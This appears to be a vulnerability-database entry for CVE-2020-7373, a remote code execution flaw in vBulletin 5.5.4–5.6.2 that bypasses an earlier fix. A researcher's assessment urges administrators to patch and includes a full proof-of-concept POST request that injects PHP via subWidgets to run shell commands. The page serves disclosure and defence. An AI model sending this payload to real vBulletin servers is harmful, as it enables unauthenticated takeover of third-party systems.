CVE-2020-7373

vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759. ALSO NOTE: CVE-2020-7373 is a duplicate of CVE-2020-17496. CVE-2020-17496 is the preferred CVE ID to track this vulnerability.

Recent assessments:

zeroSteiner at August 13, 2020 9:24pm UTC reported:

This vulnerable allows an unauthenticated attacker to run arbitrary PHP code or operating system commands on affected versions of the vBulletin web application. The vulnerability, which was also discovered by Zenofex, is identified as CVE-2020-7373 and is effectively a bypass for a previously patched vulnerability identified as CVE-2019-16759. Administrators running vBulletin should patch this one immediately.

Example POST request that would trigger the vulnerability:

POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: 192.168.249.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

subWidgets%5b0%5d%5btemplate%5d=widget_php&subWidgets%5b0%5d%5bconfig%5d%5bcode%5d=echo%20shell_exec%28base64_decode%28%27ZWNobyB3elV4d2VJag%3d%3d%27%29%29%3b%20exit%3b

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 5